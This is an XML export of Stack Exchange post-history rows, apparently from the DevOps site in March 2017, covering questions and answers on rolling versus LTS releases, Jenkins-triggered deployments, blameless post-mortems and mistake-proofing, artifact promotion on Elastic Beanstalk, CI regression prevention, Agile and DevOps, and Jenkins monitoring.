  <row Id="968" PostHistoryTypeId="1" PostId="321" RevisionGUID="59348847-84a7-47af-9f17-494d62cd5827" CreationDate="2017-03-04T18:42:19.017" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="969" PostHistoryTypeId="2" PostId="322" RevisionGUID="2c978c88-344a-4b3c-97a4-05781873959f" CreationDate="2017-03-04T18:45:39.503" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="970" PostHistoryTypeId="1" PostId="322" RevisionGUID="2c978c88-344a-4b3c-97a4-05781873959f" CreationDate="2017-03-04T18:45:39.503" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="971" PostHistoryTypeId="2" PostId="323" RevisionGUID="eb2b0936-8599-4ddc-b6f5-d20d4ea3a8e0" CreationDate="2017-03-04T18:45:39.503" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="972" PostHistoryTypeId="1" PostId="323" RevisionGUID="eb2b0936-8599-4ddc-b6f5-d20d4ea3a8e0" CreationDate="2017-03-04T18:45:39.503" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="973" PostHistoryTypeId="2" PostId="324" RevisionGUID="d8304a6b-111d-4701-aa20-fb06530db9ab" CreationDate="2017-03-04T18:48:29.593" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="974" PostHistoryTypeId="1" PostId="324" RevisionGUID="d8304a6b-111d-4701-aa20-fb06530db9ab" CreationDate="2017-03-04T18:48:29.593" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="975" PostHistoryTypeId="2" PostId="325" RevisionGUID="b6e65c2f-7f81-4a04-bd9e-d1fef55a753e" CreationDate="2017-03-04T18:48:29.593" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="976" PostHistoryTypeId="1" PostId="325" RevisionGUID="b6e65c2f-7f81-4a04-bd9e-d1fef55a753e" CreationDate="2017-03-04T18:48:29.593" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="977" PostHistoryTypeId="2" PostId="326" RevisionGUID="8f10de19-4a18-4cf0-8f42-bfd73fc5b2ff" CreationDate="2017-03-04T19:22:57.943" UserId="40" Text="There are software packages that offer a choice between either of those types of releases:&#xD;&#xA;&#xD;&#xA;- a **Rolling** release.&#xD;&#xA;- a **Long Term Support** (= LTS) release.&#xD;&#xA;&#xD;&#xA;Consider the [available Ubuntu releases][1] as an example of this.&#xD;&#xA;&#xD;&#xA;**My question**: what are the criteria one should use to decide about which type of release to select?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://releases.ubuntu.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="978" PostHistoryTypeId="1" PostId="326" RevisionGUID="8f10de19-4a18-4cf0-8f42-bfd73fc5b2ff" CreationDate="2017-03-04T19:22:57.943" UserId="40" Text="How to decide between Rolling Releases versus LTS Releases?" ContentLicense="CC BY-SA 3.0" />
  <row Id="979" PostHistoryTypeId="3" PostId="326" RevisionGUID="8f10de19-4a18-4cf0-8f42-bfd73fc5b2ff" CreationDate="2017-03-04T19:22:57.943" UserId="40" Text="&lt;release&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="980" PostHistoryTypeId="2" PostId="327" RevisionGUID="57f4c4c5-6444-46ce-98c3-7d96b77adcc9" CreationDate="2017-03-04T19:27:52.863" UserId="488" Text="A rolling release is newer, with cutting-edge functionality, but potentially more defects. LTS is more stable. If stability is your priority (as it generally is for DevOps), LTS would be the release to use." ContentLicense="CC BY-SA 3.0" />
  <row Id="981" PostHistoryTypeId="5" PostId="326" RevisionGUID="544b2373-cac2-476b-85e6-a3a8c4d2b228" CreationDate="2017-03-04T19:41:22.583" UserId="40" Comment="added 291 characters in body" Text="There are software packages that offer a choice between either of those types of releases:&#xD;&#xA;&#xD;&#xA;- a **Rolling** release.&#xD;&#xA;- a **Long Term Support** (= LTS) release.&#xD;&#xA;&#xD;&#xA;Consider the [available Ubuntu releases][1] as an example of this. And imagine that:&#xD;&#xA;&#xD;&#xA;- some software requires a Linux server,&#xD;&#xA;- whereas the decission is made (for whatever reason) to go for Ubuntu,&#xD;&#xA;- the decission makers do know what these release types actually mean,&#xD;&#xA;- it turns out that any release starting from 16.04 and above will do,&#xD;&#xA;- but whatever release is selected, all Dev / QA / Operational servers must run the very same release.&#xD;&#xA;&#xD;&#xA;**My question**: &#xD;&#xA;&#xD;&#xA;What are the ***`criteria`*** one should use to decide about which type of release to select?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://releases.ubuntu.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="982" PostHistoryTypeId="2" PostId="328" RevisionGUID="8da7da41-8df3-4331-891e-8860869b0065" CreationDate="2017-03-04T19:46:57.400" UserId="349" Text="I don't think there's a good answer that applies to all software packages or situations. &#xD;&#xA;&#xD;&#xA;Rolling releases are more risky as there is no predictability around when things will change. You may have installed the thing last night and already there's an update to deal with. But what does that update do? Is there enough information to know if you want it? Sometimes, but it depends entirely on the developer/company releasing the package.&#xD;&#xA;&#xD;&#xA;Some things to consider before going with a rolling release package:&#xD;&#xA;&#xD;&#xA; - Who are the primary users of the package, and in what environment?&#xD;&#xA; - What is your tolerance for risk?&#xD;&#xA; - What is your process for performing upgrades?&#xD;&#xA;&#xD;&#xA;LTS releases are intended to be used for longer periods of time and often have published lifetimes that enable you to plan and test migrations to the next LTS release well before updates to the package/system end.&#xD;&#xA;&#xD;&#xA;My recommendation is that servers (with the exception of sandbox/R&amp;D machines) should use LTS releases. On desktop machines it depends on the end user and what that individual wants." ContentLicense="CC BY-SA 3.0" />
  <row Id="983" PostHistoryTypeId="5" PostId="328" RevisionGUID="c0fa73e5-48c3-49b5-af3b-aad045e2845d" CreationDate="2017-03-04T19:55:08.197" UserId="349" Comment="added 145 characters in body" Text="I don't think there's a good answer that applies to all software packages or situations. &#xD;&#xA;&#xD;&#xA;Rolling releases are more risky as there is no predictability around when things will change. You may have installed the thing last night and already there's an update to deal with. But what does that update do? Is there enough information to know if you want it? Sometimes, but it depends entirely on the developer/company releasing the package.&#xD;&#xA;&#xD;&#xA;Some things to consider before going with a rolling release package:&#xD;&#xA;&#xD;&#xA; - Who are the primary users of the package, and in what environment?&#xD;&#xA; - What is your tolerance for risk?&#xD;&#xA; - What is your process for performing upgrades?&#xD;&#xA;&#xD;&#xA;LTS releases are intended to be used for longer periods of time and often have published lifetimes that enable you to plan and test migrations to the next LTS release well before updates to the package/system end.&#xD;&#xA;&#xD;&#xA;My recommendation is that servers (with the exception of sandbox/R&amp;D machines) should use LTS releases. On desktop machines it depends on the end user and what that individual wants.&#xD;&#xA;&#xD;&#xA;In fact, I would go so far as to say unless there are specific and very good reasons to go with a rolling release, always use LTS releases.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="984" PostHistoryTypeId="5" PostId="328" RevisionGUID="769bf2a1-a5d4-494a-8fb2-604cfb12d67c" CreationDate="2017-03-04T20:07:14.043" UserId="40" Comment="Integrate comments from OPer" Text="I don't think there's a good answer that applies to all software packages or situations. &#xD;&#xA;&#xD;&#xA;Rolling releases are more risky as there is no predictability around when things will change. You may have installed the thing last night and already there's an update to deal with. But what does that update do? Is there enough information to know if you want it? Sometimes, but it depends entirely on the developer/company releasing the package.&#xD;&#xA;&#xD;&#xA;Some things to consider before going with a rolling release package:&#xD;&#xA;&#xD;&#xA; - Who are the primary users of the package, and in what environment?&#xD;&#xA; - What is your tolerance for risk?&#xD;&#xA; - What is your process for performing upgrades?&#xD;&#xA;&#xD;&#xA;LTS releases are intended to be used for longer periods of time and often have published lifetimes that enable you to plan and test migrations to the next LTS release well before updates to the package/system end.&#xD;&#xA;&#xD;&#xA;My recommendation is that servers (with the exception of sandbox/R&amp;D machines) should use LTS releases. On desktop machines it depends on the end user and what that individual wants.&#xD;&#xA;&#xD;&#xA;In fact, I would go so far as to say unless there are specific and very good reasons to go with a rolling release, always use LTS releases.&#xD;&#xA;&#xD;&#xA;**Note**:&#xD;&#xA;&#xD;&#xA;When dealing with higher-ups, appealing to their desire not to spend money is always a good tactic. Rolling releases are more expensive in the long run when you consider the amount of time spent by employees testing, installing, dealing with bugs from new versions, etc. While you'll have to do some of this with LTS releases, their longevity means it's significantly less." ContentLicense="CC BY-SA 3.0" />
  <row Id="985" PostHistoryTypeId="24" PostId="328" RevisionGUID="769bf2a1-a5d4-494a-8fb2-604cfb12d67c" CreationDate="2017-03-04T20:07:14.043" Comment="Proposed by 40 approved by 349 edit id of 96" ContentLicense="CC BY-SA 3.0" />
  <row Id="987" PostHistoryTypeId="5" PostId="326" RevisionGUID="b2a4a4cb-833e-47d8-97b8-f5f2fb783d15" CreationDate="2017-03-04T20:34:50.880" UserId="14" Comment="deleted 4 characters in body" Text="There are software packages that offer a choice between either of those types of releases:&#xD;&#xA;&#xD;&#xA;- a **Rolling** release.&#xD;&#xA;- a **Long Term Support** (= LTS) release.&#xD;&#xA;&#xD;&#xA;Consider the [available Ubuntu releases][1] as an example of this. And imagine that:&#xD;&#xA;&#xD;&#xA;- some software requires a Linux server,&#xD;&#xA;- whereas the decision is made (for whatever reason) to go for Ubuntu,&#xD;&#xA;- the decision makers do know what these release types actually mean,&#xD;&#xA;- it turns out that any release starting from 16.04 and above will do,&#xD;&#xA;- but whatever release is selected, all Dev / QA / Operational servers must run the very same release.&#xD;&#xA;&#xD;&#xA;**My question**: &#xD;&#xA;&#xD;&#xA;What are the ***criteria*** one should use to decide about which type of release to select?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://releases.ubuntu.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="989" PostHistoryTypeId="2" PostId="329" RevisionGUID="493dfcc3-7d20-4555-9a17-1fad79102adc" CreationDate="2017-03-04T20:43:33.097" UserId="349" Text="We're using jobs in jenkins to trigger deployments. It ensures that no matter who does the deployment, the ansible command that is run will be the same. A nice bonus is the build logs record when deployments were triggered, who triggered them and what exactly happened during the deployment.&#xD;&#xA;&#xD;&#xA;It's certainly not foolproof, but it's been a nice improvement over running ansible playbooks by hand.&#xD;&#xA;&#xD;&#xA;For larger/riskier changes this should ideally be combined with some form of change management so changes are made only after another person/team reviews the change and the approach to the change to help identify and resolve potential issues early.&#xD;&#xA;&#xD;&#xA;Additionally it never hurts to have a teammate who understands the change you're making be present and watching while you make big changes so they can watch for and help prevent mistakes in the execution of the change.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="990" PostHistoryTypeId="5" PostId="311" RevisionGUID="7da6e8bc-cab2-4dc8-9fbb-5a0a972d3de1" CreationDate="2017-03-04T20:53:06.707" UserId="6" Comment="add four-eyes principle and fix several typos and grammar errors" Text="**Categories of errors**&#xD;&#xA;&#xD;&#xA;There are two ways of looking at human factors that lead to problems and accidents:&#xD;&#xA;&#xD;&#xA;1. You can see the human error as the cause of a mishap. In this case&#xD;&#xA;&quot;human error,&quot; under whatever label—loss of situation awareness, procedural violation, regulatory shortfalls, managerial deficiencies is the conclusion of your investigation.&#xD;&#xA;2. You can see the human error as the symptom of deeper trouble. In this case, human error is the starting point for your investigation. You&#xD;&#xA;will probe how human error is systematically connected to features&#xD;&#xA;of people's tools, tasks, and operational / organizational environment.&#xD;&#xA;&#xD;&#xA;The first is called the *human* approach, and the second as the *system* approach.&#xD;&#xA;&#xD;&#xA;To explain failure using the human approach, you would seek failure and find people's inaccurate assessments, wrong decisions or bad judgments.&#xD;&#xA;&#xD;&#xA;To explain failure using the system approach, you are not trying to find where people went wrong. Instead,  find how people's assessments and actions made sense at the time, given the circumstances that surrounded them.&#xD;&#xA;&#xD;&#xA;For example, Donald Berwick of the Institute for Healthcare Improvement (IHI) argues that improving patient safety requires *changes in the design of systems*:&#xD;&#xA;&#xD;&#xA;&gt; ...We are human, and humans err. Despite outrage, despite grief, despite experience, despite our best efforts, despite our deepest wishes, we are born fallible and will remain so. Being careful helps, but it brings us nowhere near perfection... The remedy is in changing systems of work. The remedy is in design. The goal should be extreme safety. I believe we should be as safe in our hospitals as we are in our homes. But we cannot reach that goal through exhortation, censure, outrage, and shame. We can reach it only by a commitment to change, so that normal, human errors can be made irrelevant to the outcome, continually found, and skillfully mitigated.&#xD;&#xA;&gt;  &#xD;&#xA;&gt; [Donald M Berwick. Not again! BMJ 2001][1]&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**Removing mistakes from the system**&#xD;&#xA;&#xD;&#xA;A great way to find (and correct) the various ways failure happens after the fact, is searching for the root cause without blaming the people. This is often called &quot;blameless post-mortems&quot;, and [Etsy Code as Craft blog post][2] expands on the concept. People at Etsy presented and wrote [more about it on other forums][3] and blogs.&#xD;&#xA;&#xD;&#xA;To prevent mistakes in the first place, some culture traits are a must. Procedures and various artifacts created in the system must test that using them by humans is very clear and self-explanatory. Often those who create are not those who consume, leading to a disconnect and lack of clarity. The system is then not safe to operate since the only person who knows all the assumptions is the one who created it (and no one else).&#xD;&#xA;&#xD;&#xA;*Effective control measures*&#xD;&#xA;&#xD;&#xA;Put in place effective control measures to stop the process when an error occurs. This is mistake-proofing. Effective control measures are design changes that prevent or stop processes from continuing when an error has occurred by introducing a process failure&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;In 1896, Sakichi Toyoda invented Japan’s first power loom called “the Toyoda Steam power loom.” This development increased productivity by twenty times, and the quality of the textiles improved and caused a revolution in the textile industry in Japan. But here’s the subtle but very important discovery and principle:&#xD;&#xA;&#xD;&#xA;&gt; when the needle broke, the machine stopped&#xD;&#xA;&#xD;&#xA;Sakichi Toyoda created an innovation to the Loom that would later become one of the pillars in the Toyota Production System (Lean). That pillar we now call Jidoka, sometimes called “smart automation with a human touch” or “autonomation.”&#xD;&#xA;&#xD;&#xA;In large part, Andon (stop at first defect) and Poka-Yoke (mistake proofing) are later developments that find their influence from the Loom.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;*Removing Single-Point Weaknesses*&#xD;&#xA;&#xD;&#xA;The term single-point weakness refers to the creation of redundancies in the system as an approach to improving system reliability. Redundancy is created by increasing the number of systems or individuals involved in the process. Having more backup systems or more checks (double, triple, or more) increases the probability that the process will proceed correctly.&#xD;&#xA;&#xD;&#xA;One great example for this is the &quot;four-eyes principle,&quot; which means that &quot;all business decisions and transactions need approval from the CEO and CFO. Since the CFO is not reporting to the CEO, there is an independent controlling mechanism in place&quot;.&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;source: https://en.wikipedia.org/wiki/Two-man_rule&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;*Make Hazards Obvious*&#xD;&#xA;&#xD;&#xA;If hazards are made obvious, or impossible to reach, humans cannot create mistakes. For example, color-coding is a common approach to making mistakes more obvious. Or if you think of various computer sockets that can only be inserted one way and not the other, etc.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Some great books are talking about the subject, and it would not be a good answer without mentioning them:&#xD;&#xA;&#xD;&#xA;* [The Field Guide to Understanding 'Human Error'][4] by Sidney Dekker&#xD;&#xA;* [Site Reliability Engineering: How Google Runs Production Systems][5]&#xD;&#xA;* [Zero Quality Control: Source Inspection and the Poka-Yoke System][6] by Shigeo Shingo&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.bmj.com/content/322/7281/247&#xD;&#xA;  [2]: https://codeascraft.com/2012/05/22/blameless-postmortems/&#xD;&#xA;  [3]: https://www.infoq.com/articles/postmortems-etsy&#xD;&#xA;  [4]: https://www.amazon.com/dp/B00Q8XCSFI&#xD;&#xA;  [5]: https://www.amazon.com/dp/B01DCPXKZ6&#xD;&#xA;  [6]: https://www.amazon.com/dp/0915299070/" ContentLicense="CC BY-SA 3.0" />
  <row Id="992" PostHistoryTypeId="5" PostId="306" RevisionGUID="c82dac82-648f-42e3-9fc2-896aae463655" CreationDate="2017-03-04T23:38:17.237" UserId="40" Comment="integrate comment from OPer" Text="I'm working with a project that's using Jenkins to build and deploy microservices to Elastic Beanstalk. We deploy an integration branch to a test environment, release branches to a staging environment, and then a final master build to production. I have a couple of concerns with doing it this way: first, it means we end up with a matrix of one build per project per environment, duplicating efforts; and two, it means we aren't deploying the same build artifacts to production that were validated in staging.&#xD;&#xA;&#xD;&#xA;I'm inclined to abandon Beanstalk and move to plain ASGs using something like Chef for deployments. That would leave us with one build per project, producing a build artifact, and we could deploy the same artifact to production that was approved in staging. Transitioning has a not-insignificant up-front cost, however. Is there some way to use Beanstalk better that would allow for more reliable, easier-to-manage CI/CD?&#xD;&#xA;&#xD;&#xA;**Note**: Promoting the same build artifact is exactly what I want to do, but from the docs I don't see any clear way to do that; it explains how to deploy to EB from your app source, but not how to promote an existing version to another environment, unless I managed to scroll right past it. If it is available in EB itself, there may be a limitation in the Jenkins EB deployment plugin that prevents it from being done in Jenkins specifically, but I haven't seen a way to do it at all." ContentLicense="CC BY-SA 3.0" />
  <row Id="993" PostHistoryTypeId="24" PostId="306" RevisionGUID="c82dac82-648f-42e3-9fc2-896aae463655" CreationDate="2017-03-04T23:38:17.237" Comment="Proposed by 40 approved by 6, 14 edit id of 90" ContentLicense="CC BY-SA 3.0" />
  <row Id="994" PostHistoryTypeId="5" PostId="42" RevisionGUID="9180171f-5676-4c8e-bc91-f0ca9d92e753" CreationDate="2017-03-04T23:38:31.550" UserId="40" Comment="Integrate comments from OPer" Text="According to the policies of the company where I work we have dev, preprod and prod environments (on some service dev can be missing). And the path of new version preprod-&gt;tests-&gt;validation-&gt;prod.&#xD;&#xA;&#xD;&#xA;In our case jobs in preprod are heavy and complex enough to be sure we do not need to pray when implement in prod :)&#xD;&#xA;&#xD;&#xA;**Note**: We use svn to maintain and deliver configuration. We do not make changes inplace." ContentLicense="CC BY-SA 3.0" />
  <row Id="995" PostHistoryTypeId="24" PostId="42" RevisionGUID="9180171f-5676-4c8e-bc91-f0ca9d92e753" CreationDate="2017-03-04T23:38:31.550" Comment="Proposed by 40 approved by 6, 14 edit id of 97" ContentLicense="CC BY-SA 3.0" />
  <row Id="996" PostHistoryTypeId="5" PostId="302" RevisionGUID="ed10f883-4744-4803-8ab6-fc341cbf1f5c" CreationDate="2017-03-05T00:48:15.867" UserId="389" Comment="Deleted unnecessary sentences." Text="I'm still a student, but I'm not knowledgeable about operations, and my English is still bad.&#xD;&#xA;&#xD;&#xA;My question is: **Why does development oppose operations**? When does developing oppose operations? " ContentLicense="CC BY-SA 3.0" />
  <row Id="997" PostHistoryTypeId="5" PostId="268" RevisionGUID="17745533-4b9c-4eb6-80c0-49a4a0beb4b1" CreationDate="2017-03-05T04:08:42.803" UserId="47" Comment="added clarification following comment" Text="Traditionally CI systems only perform **monitoring** of the quality levels in an integration branch, watching for regressions and sending notifications for human intervention.&#xD;&#xA;&#xD;&#xA;Is there a CI tool capable of actually **preventing** such regressions, thus guaranteeing a minimum branch quality level?&#xD;&#xA;&#xD;&#xA;**Update:** the assumption is that suitable automated QA verifications with appropriate coverage to be able to detect the respective regressions are available for invocation by the CI tool(s)." ContentLicense="CC BY-SA 3.0" />
  <row Id="998" PostHistoryTypeId="2" PostId="330" RevisionGUID="b5bf797e-fcdc-403d-9165-4d9d6f52a8b6" CreationDate="2017-03-05T04:31:37.530" UserId="47" Text="I'd always manually trigger a re-run or two on at least one recent green (or almost green) label on every relevant project/branch that uses the respective plugin and check that I get the same results. Just to be on the safe side.&#xD;&#xA;&#xD;&#xA;Any result discrepancy would need to be investigated to determine it they're caused by the plugin update or not. Maybe a few more re-runs with both the old and new plugins?" ContentLicense="CC BY-SA 3.0" />
  <row Id="999" PostHistoryTypeId="5" PostId="301" RevisionGUID="cf91f214-a4db-444c-bf6d-2d62bbc6d138" CreationDate="2017-03-05T05:28:20.050" UserId="47" Comment="added disclaimer" Text="Another approach is to switch to a different, non-traditional CI system, capable of **preventing regressions** by identifying and rejecting the offending candidate changes prior to their commit rather than detecting regressions and waiting for recovery while development on the branch is blocked. I like to call such system a [non-blocking CI system][1].&#xD;&#xA;&#xD;&#xA;Simply bumping up the developer-executed pre-commit verification requirements in an attempt to reduce branch regressions is not sufficient for such guarantee. It may actually cause a regression rate *increase*: longer verification times =&gt; higher number of changes simultaneously verified in isolation (thus not accounting for each-other) =&gt; higher risk of functional conflicts and interference. I'm explaining this in a bit more details in the [Extending the pre-commit verification coverage should increase our branch stability][2] myth.&#xD;&#xA;&#xD;&#xA;The CI tool also needs to be capable of operating at scale, of course. And such tools exist, see http://devops.stackexchange.com/questions/268/is-there-a-ci-tool-that-guarantees-no-regressions-in-the-branch-quality-level&#xD;&#xA;&#xD;&#xA;**Disclaimer**: I'm the founder of the company owning the above-referenced external pages.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.apartsw.com/insights/2016/11/25/traditional_vs_non_blocking_ci.html&#xD;&#xA;  [2]: https://www.apartsw.com/insights/2016/11/16/pre_commit_verification_myths.html#extensible" ContentLicense="CC BY-SA 3.0" />
  <row Id="1000" PostHistoryTypeId="2" PostId="331" RevisionGUID="7369e48f-940d-4c48-96c2-de2f74548e30" CreationDate="2017-03-05T06:03:57.040" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1001" PostHistoryTypeId="1" PostId="331" RevisionGUID="7369e48f-940d-4c48-96c2-de2f74548e30" CreationDate="2017-03-05T06:03:57.040" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1002" PostHistoryTypeId="2" PostId="332" RevisionGUID="e06d2f04-7429-4b4a-a7bb-30b9304ace2a" CreationDate="2017-03-05T06:03:57.040" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1003" PostHistoryTypeId="1" PostId="332" RevisionGUID="e06d2f04-7429-4b4a-a7bb-30b9304ace2a" CreationDate="2017-03-05T06:03:57.040" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1004" PostHistoryTypeId="2" PostId="333" RevisionGUID="cb423a52-da96-4ec6-ad79-0cd13776aa3c" CreationDate="2017-03-05T07:38:04.073" UserId="6" Text="[Agile][1] is the methodology of choice for software shops today. But there are still organisations which are not practicing Agile in their software development.&#xD;&#xA;&#xD;&#xA;When I say Agile, I mean any offspring that came out of the [Agile Manifesto][2]. Such as [Extreme Programming][3], [Scrum][4], [Lean Software Development][5] and others.&#xD;&#xA;&#xD;&#xA;**Is Agile software development a mandatory prerequisite of adopting DevOps on an organisation level?**&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Agile_software_development&#xD;&#xA;  [2]: http://agilemanifesto.org/&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Extreme_programming&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/Scrum_(software_development)&#xD;&#xA;  [5]: https://en.wikipedia.org/wiki/Lean_software_development" ContentLicense="CC BY-SA 3.0" />
  <row Id="1005" PostHistoryTypeId="1" PostId="333" RevisionGUID="cb423a52-da96-4ec6-ad79-0cd13776aa3c" CreationDate="2017-03-05T07:38:04.073" UserId="6" Text="Does my organization need to be Agile before adopting DevOps?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1006" PostHistoryTypeId="3" PostId="333" RevisionGUID="cb423a52-da96-4ec6-ad79-0cd13776aa3c" CreationDate="2017-03-05T07:38:04.073" UserId="6" Text="&lt;culture&gt;&lt;agile&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1007" PostHistoryTypeId="2" PostId="334" RevisionGUID="96ee043e-0329-46bc-bc1d-c8a226d14920" CreationDate="2017-03-05T07:59:02.013" UserId="47" Text="IMHO it doesn't *need* to.&#xD;&#xA;&#xD;&#xA;From [DevOps][1] (emphasis mine):&#xD;&#xA;&#xD;&#xA;&gt; DevOps (a clipped compound of &quot;software DEVelopment&quot; and &quot;information&#xD;&#xA;&gt; technology OPerationS&quot;) is a term used to refer to a set of practices&#xD;&#xA;&gt; that emphasize the collaboration and communication of both software&#xD;&#xA;&gt; developers and information technology (IT) professionals while&#xD;&#xA;&gt; automating the process of software delivery and infrastructure&#xD;&#xA;&gt; changes.[1][2] It aims at establishing a culture and environment where&#xD;&#xA;&gt; building, testing, and releasing software **can happen** rapidly,&#xD;&#xA;&gt; frequently, and more reliably.&#xD;&#xA;&#xD;&#xA;I highlighted `can happen` as it is not `must happen`.&#xD;&#xA;&#xD;&#xA;Nothing in the above description actually **requires** an agile development methodology. &#xD;&#xA;&#xD;&#xA;But I suspect often transitions towards DevOps often incorporate insertion of agile methodologies in the development process as they really fit well together.&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/DevOps" ContentLicense="CC BY-SA 3.0" />
  <row Id="1008" PostHistoryTypeId="2" PostId="335" RevisionGUID="255ecfb5-7e2d-462f-a16a-a42974db2863" CreationDate="2017-03-05T08:18:53.920" UserId="40" Text="Have a look at the [Monitoring][1] plugin. Here are some more details about it (from the linked page):&#xD;&#xA;&#xD;&#xA;&gt; - Charts of memory, cpu, system load average, http response times by day, week, month, year or custom period&#xD;&#xA;&gt; - Statistics of http requests with mean response times, mean cpu times, mean response size by request and by day, week, month, year or custom period&#xD;&#xA;&gt; - Errors and logs&#xD;&#xA;&gt; - Current http requests&#xD;&#xA;&gt; - Threads&#xD;&#xA;&gt; - Heap histogram (instances and sizes by class)&#xD;&#xA;&gt; - Http sessions&#xD;&#xA;&gt; - Process list of OS&#xD;&#xA;&gt; - MBeans&#xD;&#xA;&gt; - Actions for GC, heap dump and invalidate session(s)&#xD;&#xA;&gt; - Report in html or pdf&#xD;&#xA;&gt; - In English, German, French, Portuguese or Chinese&#xD;&#xA;&gt; - Jenkins security&#xD;&#xA;&gt; - For Jenkins nodes (slaves in general):&#xD;&#xA;&gt;   - The report for the nodes is available at `http://yourhost/monitoring/nodes`&#xD;&#xA;&gt;   - Charts aggregated for all nodes of memory, cpu, system load average, number of running builds, build queue length, build times by period&#xD;&#xA;&gt;   - Detailed statistics of the build times and of the build steps by period&#xD;&#xA;&gt;   - Threads, process list and MBeans for each nodes&#xD;&#xA;&gt;   - Heap histogram aggregated for all nodes&#xD;&#xA;&gt; - For each individual node (each node in `http://yourhost/computer`), reports and actions are available from the &quot;Monitoring&quot; page in the contextual menu or in the detail of the node:&#xD;&#xA;&gt;   - Threads, process list, MBeans of that node only&#xD;&#xA;&gt;   - Heap histogram of that node&#xD;&#xA;&gt;   - Actions for GC, heap dump&#xD;&#xA;&gt; - And more...&#xD;&#xA;&#xD;&#xA;Credits: [Assaf Lavie][2] (who first mentioned it in a comment, but for some reason didn't post that as an actual answer ...).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Monitoring&#xD;&#xA;  [2]: http://devops.stackexchange.com/users/2/assaf-lavie" ContentLicense="CC BY-SA 3.0" />
  <row Id="1009" PostHistoryTypeId="2" PostId="336" RevisionGUID="1402ea66-b4a9-46b3-87e0-6c8b08dc6d1d" CreationDate="2017-03-05T08:20:27.673" UserId="228" Text="At the Agile 2008 conference, Andrew Clay Shafer and Patrick Debois [discussed][1] &quot;Agile Infrastructure&quot;. This was the start of the DevOps movement.&#xD;&#xA;&#xD;&#xA;But while DevOps has it's roots in Agile Manifesto, the fact is that it is not strictly required for the development teams to be Agile. Most of the [Agile Principles][2] are indeed important to follow, but no specific [Agile Methodology][3] is prescribed and if the development team can come up with their own way of working, while keeping more or less to the Agile Principles, you can realize the benefits.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/DevOps#Etymology&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Agile_software_development#Agile_principles&#xD;&#xA;  [3]: https://www.versionone.com/agile-101/agile-methodologies/" ContentLicense="CC BY-SA 3.0" />
  <row Id="1010" PostHistoryTypeId="5" PostId="333" RevisionGUID="9d2c77e7-7309-4a28-9e15-4dd7083ad31b" CreationDate="2017-03-05T08:56:35.507" UserId="6" Comment="clarify regarding the devops connection" Text="[Agile][1] is the methodology of choice for software shops today. But there are still organisations which are not practicing Agile in their software development, who might be interested in adopting DevOps.&#xD;&#xA;&#xD;&#xA;When I say Agile, I mean any offspring that came out of the [Agile Manifesto][2]. Such as [Extreme Programming][3], [Scrum][4], [Lean Software Development][5] and others.&#xD;&#xA;&#xD;&#xA;**Is Agile software development a mandatory prerequisite of adopting DevOps on an organisation level?**&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Agile_software_development&#xD;&#xA;  [2]: http://agilemanifesto.org/&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Extreme_programming&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/Scrum_(software_development)&#xD;&#xA;  [5]: https://en.wikipedia.org/wiki/Lean_software_development" ContentLicense="CC BY-SA 3.0" />
  <row Id="1014" PostHistoryTypeId="6" PostId="173" RevisionGUID="fc5a4410-b638-4cc9-9537-7a56f50870ad" CreationDate="2017-03-05T10:12:45.020" UserId="40" Comment="Add relevant tag" Text="&lt;jenkins&gt;&lt;monitoring&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1015" PostHistoryTypeId="24" PostId="173" RevisionGUID="fc5a4410-b638-4cc9-9537-7a56f50870ad" CreationDate="2017-03-05T10:12:45.020" Comment="Proposed by 40 approved by 6, 14 edit id of 100" ContentLicense="CC BY-SA 3.0" />
